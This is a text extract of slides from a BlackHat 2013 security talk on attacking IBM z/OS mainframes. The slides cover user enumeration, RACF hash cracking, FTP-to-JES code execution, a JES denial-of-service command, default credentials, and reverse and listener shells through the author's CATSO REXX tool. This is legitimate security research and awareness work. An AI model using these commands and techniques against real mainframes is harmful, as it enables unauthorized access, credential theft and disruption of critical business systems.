Top Banner
Mainframes: The past will come back to haunt you By: Philip “Soldier of Fortran” Young
90

BlackHat 2013 - redux

Feb 07, 2022

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: BlackHat 2013 - redux

Mainframes:  The  past  will  come  back  to  haunt  you  

By:  Philip  “Soldier  of  Fortran”  Young  

Page 2: BlackHat 2013 - redux

Any  views  expressed  in  this  talk  are  my  own  and  not  those  of  my  employer.    This  talk  discusses  work  performed  in  my  spare  Cme  generally  screwing  around  with  mainframes  and  thinking  'what  if  this  sCll  works...'      

Disclaimer  

Page 3: BlackHat 2013 - redux

•  How  many  of  you  have  tested  a  Mainframe  or  done  mainframe  pentests/audits?  

•  How  many  of  you  are  (or  were)  actual  Sysprogs?    

•  See  the  problem?    

Ques:on  

Page 4: BlackHat 2013 - redux
Page 5: BlackHat 2013 - redux
Page 6: BlackHat 2013 - redux
Page 7: BlackHat 2013 - redux

•  Runs  an  OS  called:  z/OS  

•  Current  version:  z/OS  V1R13  (or  1.13)  -­‐  V1R14  (1.14)  coming  this  year!  

•  70%  of  fortune  500s  run  an  IBM  z/OS  Mainframe  – For  criCcal  business  funcCons  

Not  Legacy  

Page 8: BlackHat 2013 - redux

About  me:  •  Phil  aka  "Soldier  of  Fortran"  •  Mainframes  were  always  big  and  mysterious  

– Messed  around  on  Datapac,  Telenet,  Sprintnet  •  Jan  2012  -­‐  Horrible  consultant  (PitA!)  •  Given  talks  (about  mainframes)  at:  

– Thotcon  – Shmoocon  – BSides  LV  and  AusCn  

About  

Page 9: BlackHat 2013 - redux

•  Primarily  (ok  100%)  a  talk  about  z/OS  and  support  tech/programs:  

•  If  these  mean  nothing  to  you...  good!  

•  Don’t  worry,  I'll  also  talk  security  

What’s  this  About?  

•  TSO  •  RACF  •  JES/JCL  

•  REXX  •  OMVS  

Page 10: BlackHat 2013 - redux
Page 11: BlackHat 2013 - redux
Page 12: BlackHat 2013 - redux

Security  Admin    Over  50    Security  Admin  Under  50  

Age  Gap  

Page 13: BlackHat 2013 - redux

This  can  happen  (in  2011):  "Can  someone  tell  me  how  to  find  the  server  name  from  the  IP  address."  

1)  I  don't  think  it’s  possible  2)  You  need  to  implement  something  to  lookup  

names  by  IP  

I’m  Not  Ageist…  

Page 14: BlackHat 2013 - redux
Page 15: BlackHat 2013 - redux

IBM  MAINFRAMES  

Page 16: BlackHat 2013 - redux

•  os/360  -­‐  Released  in  the  60’s  •  os/370  -­‐  Released  in  the  70’s  •  os/390  -­‐  Released  1995  •  z/OS  -­‐  Released  2004  

– New  release  every  two  years  – z/OS  v2  on  the  horizon  

(really)  Brief  History  

Page 17: BlackHat 2013 - redux

TN3270:  •  An  extension  on  telnet  •  Generally  clear  text    

– SSL  Added  mid  90s  

•  EBCDIC  (ugh)  

Supported  in  Wireshark!  

Cleartext,  s:ll?  

Page 18: BlackHat 2013 - redux
Page 19: BlackHat 2013 - redux
Page 20: BlackHat 2013 - redux

•  More  akin  to  a  shell  like  /bin/sh  •  Let's  you  run  commands:  

– FTP  – REXEC  – TRACEROUTE  – NETSTAT  – LISTDS  

Username  max:  7  chars      

(Mmm)  General  TSO  

Page 21: BlackHat 2013 - redux

(Who  names  these  things?)    •  ISPF  =  The  'GUI'  used  to  interact  

– File  browser  – Swanky  Editor  – Made  of  'panels’  

 

The  “GUI”  -­‐  ISPF  

Page 22: BlackHat 2013 - redux
Page 23: BlackHat 2013 - redux
Page 24: BlackHat 2013 - redux

•  Uses  'Datasets'  not  'Files'  (but  I  sCll  call  them  files)  

•  Composed  of  HLQ  and  'the  rest’:  

TCPIP.FTP.DATA •  Can  be  'parCConed’  

AC1D.JCL(FILE)

It’s  called  a  Dataset  *sigh*  

Page 25: BlackHat 2013 - redux

It's  a  UNIX  system!  I  know  this  

UNIX? In my Mainframe?

Page 26: BlackHat 2013 - redux

•  z/OS  comes  with  UNIX  

•  the  command  'OMVS'  gives  you  a    /bin/sh  shell  

•  You  can  'su'  to  root  without  a  password  – Controlled  by  group  'BPX.SUPERUSER'  

It's  a  UNIX  system!  I  know  this  

Page 27: BlackHat 2013 - redux
Page 28: BlackHat 2013 - redux
Page 29: BlackHat 2013 - redux

•  Everything  on  the  mainframe  is  a  JOB,  managed  by  JES  (Job  Entry  Subsystem)  

•  JCL,  Same  as  a  shell  script  (sorta)  

•  Has  a  'JOB  CARD'  or  header  and  a  'PGM'  or  program  to  execute  

 

JCL  and  Jobs  

Page 30: BlackHat 2013 - redux

JOB  CARD  

Program  

Parameters  

Page 31: BlackHat 2013 - redux

•  z/OS  comes  with  REXX  •  ScripCng  language  similar  to  RUBY/PYTHON  

•  REXX  Sockets  have  ASCII  translaCon  built  in:  Socket('Setsockopt',socket,'SOL_SOCKET','SO_ASCII','ON’)  

•  Other  (i.e.  C)  sockets  do  not  have  this!  

Let’s  talk  about  REXX  (baby)  

Page 32: BlackHat 2013 - redux

Always  starts  with    /*  REXX  */    Get  a  random  number  from  1024  to  65000    print  it  to  the  screen    print  the  address  space    DO  a  loop  FOREVER    Ask  the  user  for  a  command    SELECT  same  as  'SWITCH'  or  elsif.    

Page 33: BlackHat 2013 - redux

•  A  'system'  level  console  •  If  you  can  get  access  they're  fucked  

MASTERS  of  the  CONSOLES  

REDACTED  

Page 34: BlackHat 2013 - redux

•  For  example:      $T JOBDEF,JOBNUM=5

This  would  DoS  JES  (don't  do  this!)  

JOBDEF  =  JES  parameters    JOBNUM  =  The  number  of  jobs  to  run  concurrently  (normally  very  high)  

MASTERS  of  the  CONSOLES  

Page 35: BlackHat 2013 - redux

•  Most  companies  sCll  run  an  FTP  server  

•  An  amazing  'feature':  SITE  FILE=JES  

•  What  if  it  looked  like  this:  SITE  FILE=/bin/sh  

If  you  do  this  it  executes  the  JCL  you  uploaded!  

FTP  Server  

Page 36: BlackHat 2013 - redux

•  Most  Important  to  look  at:  NETSTAT  HOME  (ip  configuraCon)  TCPIP.FTP.DATA  (you'll  see  why)  RACF  'SETROPTS  LIST'  (password  config)  OMVS  Segment  UID  (no  one  should  be  '0')  BPX.SUPERUSER  facility  class  (gives  'su')  JESJOBS  class  (who  can  submit  jobs)    

Important  Places  

Page 37: BlackHat 2013 - redux

•  RACF  controls  ALL  security  on  the  mainframe.  EVERYTHING!  

•  Can  be  replaced  by  ACF2  or  TOP  Secret  

•  Default  User/Pass:  IBMUSER/SYS1    

RACF’m  

Page 38: BlackHat 2013 - redux

•  No  'root'  concept  but  'SPECIAL'  gives  full  control    –  limit  access  to  SPECIAL    

•  Limit  even  read  access  to  RACF  because…  

•  Also  stores  the  password  hashes!  

RACF’m  

Page 39: BlackHat 2013 - redux

•  IBM  uses  DES  to  store  those  hashes  •  The  USERID  is  the  'salt'  •  LimiCng  passwords  to  8  chars  1.  Takes  the  password  and  adds  0x55  to  each  

EBCDIC  char    2.  Shirs  each  byte  to  the  ler  one  bit  3.  Feeds  that  into  DES  algorithm  

 

DES:  in  2013  

Page 40: BlackHat 2013 - redux

RVARY  LIST  

Page 41: BlackHat 2013 - redux

TESTING  MAINFRAME  SECURITY  

Page 42: BlackHat 2013 - redux

•  Tools  don't  (or  didn't)  support  z/OS  

•  Internet  is  oren  wrong  or  out-­‐of-­‐date  

•  Frameworks  don't  typically  include  z/OS    

Frustra:ng  Experience  

Page 43: BlackHat 2013 - redux

No  NMAP  

Page 44: BlackHat 2013 - redux

Wrong  NMAP  

OS/390  was  disconCnued  in  2004  

REDACTED  

Page 45: BlackHat 2013 - redux

No  NESSUS  

Page 46: BlackHat 2013 - redux

No  Metasploit  

Page 47: BlackHat 2013 - redux

•  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

Yet,  Problems  Exist  

Page 48: BlackHat 2013 - redux

•  And  you  saw  one  more…  

Yet,  Problems  Exist  

Page 49: BlackHat 2013 - redux
Page 50: BlackHat 2013 - redux
Page 51: BlackHat 2013 - redux

•  That  logon  panel  is  awfully  friendly  –  Too  friendly  

•  hardcoded  like  that,  not  a  configuraCon  opCon  

•  And  yet  no  support:  –  THC-­‐HYDRA    – MEDUSA  

User  Enumera:on  

Page 52: BlackHat 2013 - redux

•  So  I  wrote  my  own:  

   v1  enumerate_TSO.sh  (PoC,  awful)  

   v2  TSO  Brute    

   v3  psikoCk.py/phatso.py  

User  Enumera:on  

Page 53: BlackHat 2013 - redux

•  SOooo  SLOW  

•  PoC  

•  Used  py3270  

•  ugly  

v2  TSO  Brute  

Page 54: BlackHat 2013 - redux

•  Much  faster  (but  sCll  python)  

•  Independent,  doesn't  rely  on  s3270  

•  single  purpose  – psikoCk  for  enumeraCon  – phatso  for  brute  force  

V3  psiko:k/phatso  

Page 55: BlackHat 2013 - redux
Page 56: BlackHat 2013 - redux
Page 57: BlackHat 2013 - redux
Page 58: BlackHat 2013 - redux

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

One  Down  

Page 59: BlackHat 2013 - redux

•  The  quesCon  that  started  it  all  

•  Spring  2012:  John  the  Ripper  added  RACF  database  support  

•  Big  thanks  to:  •  Nigel  Pentland  -­‐  IBM  obfuscaCon  •  Dhiru  Kholia  -­‐  ./john  and  ./racf2john  

Cracking  RACF  Hashes  

Page 60: BlackHat 2013 - redux

Nigels  Tools:  

•  CRACF  – Windows  only  tools,  slower    

•  RACFSnow  – Windows  only,  used  for  audiCng  

Cracking  RACF  Hashes  

Page 61: BlackHat 2013 - redux

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

Two  Down  

Page 62: BlackHat 2013 - redux

•  We  know  it's  clear  text  

•  Some  support  in  common  tools:  – Wireshark  (EBCDIC  buuon)  – No  Euercap  dissector  

More  like  ’Clear  EBCDIC’  

Page 63: BlackHat 2013 - redux
Page 64: BlackHat 2013 - redux

•  Python  and  SCAPY  

•  Sniffs  and  translates  EBCDIC  and  TSO  

•  Awful  don't  use  it  because...  

MFSniffer  

REDACTED  REDACTED  

Page 65: BlackHat 2013 - redux

•  Euercap  added  TSO/3270  support    – Thanks  (again)  to  Dhiru  Kholia  

•  Based  on  MFSniffer  

Ekercap  

Page 66: BlackHat 2013 - redux

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

One  to  Go  

Page 67: BlackHat 2013 - redux

•  Updated  NetCat  v1.10  to  support  OMVS  – Added  'make omvs'  opCon  

•  One  problem:  

Netcat  on  the  Mainframe  

z/OS

Linux

Page 68: BlackHat 2013 - redux

•  Comes  with  NetCat  for  OMVS  (NC110-­‐OMVS)  •  It  translates  from  EBCDIC  to  ASCII:  

NetEBCIDCat.py  

z/OS Linux

Page 69: BlackHat 2013 - redux

•  Why?    •  Upload  Netcat  binary  (pre-­‐compiled)  (e.g.  CASE.NETCAT)  

•  Use  JCL  to  copy  and  then  execute  NETCAT  listener  

 

Gelng  FTP  to  Execute  Netcat    

Page 70: BlackHat 2013 - redux

netcat.jcl  JOB  CARD  

Program  

UNIX  Cmds  

Page 71: BlackHat 2013 - redux

FTP  Command  1

2

4

5

3

1.  Switch  to  Binary  Mode  2.  upload  Netcat  3.  switch  to  ASCII  mode  4.   Switch  to  JES  Mode  5.  Upload  JCL  to  JES  6.  Connect  with  

NetEBCDICat.py  

Page 72: BlackHat 2013 - redux

6.  Connect  with  NetEBCDICat  

Page 73: BlackHat 2013 - redux

•  Turns  FTP  only  access  to  shell  access  

•  Generates  random  JOB  Card  info  and  deletes  files  

•  Has  a  detail/verbose  mode  so  you  can  see  what’s  happening  

 

Automa:ng:  MainTP.py  

Page 74: BlackHat 2013 - redux

MainTP  

Page 75: BlackHat 2013 - redux

•  Unix  and  EBCDIC  

•  User  needs  to  have  OMVS  access  

•  Not  user  friendly    

I  Got  99  Problems  

Page 76: BlackHat 2013 - redux

•  A  REXX  script  to  provide  meterpreter  'like'  funcConality  

•  Reverse  or  Listener  TSO/UNIX  'meterpreter'  

•  Works  with  great  netcat  or  metasploit  

Introducing:  CATSO  

Page 77: BlackHat 2013 - redux

•  Listener:  exec  'file'  'L  <port>’  exec 'CASE.CATSO' 'L 31337’

•  Reverse:  exec  'file'  'R  <ip>  <port>’  ex 'CASE.CATSO' 'R 10.0.0.4 4444'

CATSO:  Two  Great  Flavors  

Page 78: BlackHat 2013 - redux

1

2

3

1.  Connect  w/  Netcat  2.  Run  UNIX  command  ‘id’  3.  Cat  the  file  ‘CASE.JCL’  

   

Page 79: BlackHat 2013 - redux

•  SCll  requires  you  to  upload  and  execute  

•  Need  to  incorporate  with  JCL  for  remote  execuCon  

 •  The  sandwhich:  

CATSO  Problem  

Page 80: BlackHat 2013 - redux

Top  

Bouom  <CATSO.rexx>  

Page 81: BlackHat 2013 - redux

•  Uses  ’CATSO',  JCL  and  Python  to  upload  and  create  listener  or  reverse  TSO  'shell'  

•  JCL  Trickery  – Copy  JCL  contents  to  temp  file  – Execute  temp  file    

•  Memory  only!  (temp  file  on  z/OS)  

 

TShOcker  

Page 82: BlackHat 2013 - redux

TShOcker  in  Ac:on  

Metasploit Netcat

Page 83: BlackHat 2013 - redux
Page 84: BlackHat 2013 - redux

•  User  EnumeraCon    •  Max  password  length  8,  hashes  are  accessible  and  single  DES  

•  Uses  a  cleartext  protocol  

•  FTP  allows  code  execuCon  

All  Done?  

Page 85: BlackHat 2013 - redux

HOW  CAN  YOU  HELP?  

Page 86: BlackHat 2013 - redux

Emulate  the  Mainframe  

Page 87: BlackHat 2013 - redux

Emulate  the  Mainframe  

Hercules  emulator.  A  virtual  mainframe  on  your  computer  •  updated/maintained  on  github  •  OpenSource  

IBM  System  z  Personal  Development  Tool  (zPDT)  •  Mainframe  license  required  •  Runs  Linux  which  then  boots  z/OS    •  Comes  with  license  on  a  USB  fob  

Page 88: BlackHat 2013 - redux

Hercules!  Hercules!  

Page 89: BlackHat 2013 - redux

@mainframed767  

hkp://mainframed767.tumblr.com  

hups://github.com/mainframed  

Page 90: BlackHat 2013 - redux

RACF  Admin  Age  Survey:    hup://www.rshconsulCng.com/surveys/RSH_ConsulCng__RACF_Survey_014__Age_RACF-­‐L_ParCcipants.pdf  

Reverse  NSLOOKUP  hup://www.mainframegurukul.com/ibmmainframeforums/TSO-­‐Command-­‐retrive-­‐Server-­‐name-­‐from-­‐IP-­‐Add-­‐post5539.html  

Euercap  hups://github.com/Euercap/euercap  

John  the  ripper  hups://github.com/magnumripper/JohnTheRipper  

Netcat  for  OMVS  hups://github.com/mainframed/NC110-­‐OMVS  

Hercules  hup://www.hercules-­‐390.org/  hups://github.com/s390guy/hercules-­‐390  

Links